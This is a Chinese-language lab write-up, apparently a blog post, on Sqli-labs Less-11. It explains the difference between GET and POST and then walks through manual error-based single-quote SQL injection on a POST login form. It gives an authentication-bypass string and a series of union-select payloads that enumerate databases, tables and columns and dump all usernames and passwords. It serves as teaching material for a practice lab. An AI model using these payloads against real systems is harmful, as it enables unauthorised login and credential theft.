Sqli-labs之Less-11

                                                  Less-11

POST - 基于错误的- 单引号 - 字符型

                                           LOGIN ATTEMPT FAILED   登录尝试失败

从这一关的提示当中我们知道这是一个post类型的,那么post与get的区别是什么?

原文链接:https://www.cnblogs.com/zxyzm/p/10492545.html

1. get是从服务器上获取数据,post是向服务器传送数据。

2. GET请求把参数包含在URL中,将请求信息放在URL后面,POST请求通过request body传递参数,将请求信息放置在报文体中。

3. get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般被默认为不受限制。但理论上,IIS4中最大量为80KB,IIS5中为100KB。

4. get安全性非常低,get设计成传输数据,一般都在地址栏里面可以看到,post安全性较高,post传递数据比较隐私,所以在地址栏看不到, 如果没有加密,他们安全级别都是一样的,随便一个监听器都可以把所有的数据监听到。

5. GET请求能够被缓存,GET请求会保存在浏览器的浏览记录中,以GET请求的URL能够保存为浏览器书签,post请求不具有这些功能。

6. HTTP的底层是TCP/IP,GET和POST的底层也是TCP/IP,也就是说,GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body,给POST带上url参数,技术上是完全行的通的。

7.GET产生一个TCP数据包,对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);POST产生两个TCP数据包,对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据),并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

所以要想查看post提交的数据需要利用抓包工具,对于这一题由于是基于报错的,也就是说输入错误会返回报错数据,那么这里我将通过手工注入和工具注入分别进行解题。

手工注入:

1.我们发现这一题需要提交两个数据,那么我们先查看下该网页的html部分我,看能获得什么信息?

在html部分钟我们了解到这些信息:

1.form表单采用post形式提交

2.服务端接收数据: uname=数据   passwd=数据    ===>推断出  uname=用户名&passwd=密码    ====>有可大致推断数据库的sql语句为

select username,password from users where uname=用户名&passwd

3.type=text 说明是在文本框中都是明文显示。

name 属性规定 input 元素的名称。

name 属性用于对提交到服务器后的表单数据进行标识,或者在客户端通过 JavaScript 引用表单数据。

注释:只有设置了 name 属性的表单元素才能在提交表单时传递它们的值

2.那么我们该如何进行注入呢?

其实也很简单在Less1-4中,我们正常访问需要 ?id  而这里需要 uname=用户名&passwd=密码:

?id=1              uname=1&passwd=1                                       uname=1&passwd=1

?id=1'             uname=1&passwd=1'             =====同理==》uname=1'&passwd=1           (注: & 就相当于 and)

?id=1"            uname=1&passwd=1"                                      uname=1"&passwd=1

这么一对比,可以发现他们都是非常类似的,而且他们又是基于报错的,题目也提到了,还是字符型单引号注入

对比一下源代码,学习学习:

提示:在php中 isset() 函数用于检测变量是否已设置并且非 NULL。也就是说如果 uname&passwd如果有一个为 null,将不会执行sql语句。

(还有一点是在输入框中不要用--+因为+不会进行url编码,因为他不在url地址栏中,可以使用 #  %23  -- #)

3.知道了是字符型单引号注入,那么测试一下是不是注入点:

1' or 1=1 -- #

成功登陆,说明这就是一个注入点,后台形成的 sql 语句为
@$sql="SELECT username, password FROM users WHERE username='1' or 1=1 -- # and password='$passwd' LIMIT 0,1";
在#以后的内容就被注释掉,前面的内容因为 or 1=1 恒成立,所以语句就成立,登录成功。

(注:同理@$sql="SELECT username, password FROM users WHERE username=1 and password='1'  or 1=1 -- #LIMIT 0,1";结果都是一样的)

(所以下面为了方便,将在username输入框中进行注入,而在pasword输入框中统一输入数字1吧,整洁一点,嘿嘿)

那么接下来我们尝试用 get 注入中用到的其他的语句代替 ' or 1=1 进行注入。

4.接下来就是获取字段数,我们知道Less1-4中通过 ?id=数据 order by n -- # 返回的信息猜解出字段数n=3,但他的前提是这个 “数据”是true才行,而我们这里用 1' order by n -- #肯定不行的,因为该数据库中根本就没有用户名为1的用户啊,除非你知道有Dum用户,然后 Dumb' order by n -- #得出n=2,那如何解决,逆向思维,直接利用union联合注入,让你前一个条件为false,然后直接执行后面的select语句,构造payload: -1' union select 1,2-- # 结果返回用户名和密码说明字段数为2

(注:后来发现 1' union select 1,2-- #也是可以的,因为uname=1条件本来就是False了,没有必要用 -1,但我觉得吧,人容易养成习惯,所以还是用-1吧,又不费事,在用到工具注入时,就不用-1了直接用1)

5.字段数知道了,那么直接爆数据库----得到security数据库:

爆当前数据库:

-1' union select 1,database()-- #

爆所有的数据库:

-1' union select 1,group_concat(schema_name) from information_schema.schemata-- #

注:我们可以Hackbar插件中输入语句,这样好改注入语句(下面都用小插件了,2333)。

(同理该语句等同于:uname=1&passwd=-1' union select 1,database()-- #)

你喜欢用哪种写法都可以:

6.爆数据表----得到我们需要的users表

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- #&passwd=1

7.爆users表的字段(列)

uname=1&passwd=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- #

8.爆users表的数据:

uname=1&passwd=-1' union select group_concat(username),group_concat(password) from users-- #

到了这里我们就获取到了security数据库里所有的用户名和密码,基于报错注入还是比较容易的,主要是它返回的报错信息大大减少了我们手工注入的时间,当然还有一些利用mysql函数进行报错注入,在下面的工具注入中会挑一个进行讲解。

工具注入:

我们明天见。。。。。。

发布了35 篇原创文章 · 获赞 35 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/weixin_39934520/article/details/105282717